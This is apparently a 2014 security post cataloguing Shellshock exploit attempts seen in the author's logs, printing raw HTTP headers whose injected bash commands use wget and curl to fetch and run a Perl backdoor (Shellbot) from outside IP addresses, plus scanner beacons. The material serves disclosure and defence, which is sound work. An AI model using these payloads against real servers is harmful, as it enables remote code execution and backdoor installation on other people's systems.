## Shellshock: A Collection of Exploits seen in the wild

Our security log showed the following records related to the recent Shellshock bash vulnerability. We intercepted several fake User Agent HTTP headers related to shellshock. We warn you that some of the following links point to exploit code that can infect your PC, so you are warned not to follow these links unless you know what you are doing.

1. User Agents: () { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*"

   **The requested object at the URL**
   http://213.5.67.223/ji
   is infected Backdoor.Perl.Shellbot.s

2. User Agents: () { :; }; wget http://93.174.95.73/OTMuNjMuOTAuNDNTaGVsbFNob2NrU2FsdA== >> /dev/null
   Response seems due to a server looking for vulnerable web servers:

   HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.3 Date: Tue, 30 Sep 2014 08:48:05 GMT
   Content-type: text/html ShellShock Returned

3. User Agents: () { :;}; /bin/bash -c "wget http://82.221.105.197/bash-count.txt"
   Response seems due to a server looking for vulnerable web servers:

   ```
   This server is used for Internet security scans.
   We are collecting data purely for research purposes and do
   not mean to do any harm.


   If you wish to opt out and make sure that we don't scan your
   IP range again, please send us an email, and we will promptly
   do so.


   Send us an email with an IP range and organization name
   E-mail to secscanoptout@gmail.com
   ```

4. ```
   GET / HTTP/1.1
   Accept-Encoding: identity
   Referer: () { :; }; wget
   http://93.174.95.73/OTMuNjMuOTAuNDNTaGVsbFNob2NrU2FsdA== >> /dev/null
   Cookie: () { :; }; wget
   http://93.174.95.73/OTMuNjMuOTAuNDNTaGVsbFNob2NrU2FsdA== >> /dev/null
   Connection: close
   User-Agent: () { :; }; wget
   http://93.174.95.73/OTMuNjMuOTAuNDNTaGVsbFNob2NrU2FsdA== >> /dev/null
   ```
   Note that the host 93.174.95.73 is listed as a bad reputation/high risk host by Cisco senderbase and McAfee Threat Center.
   ```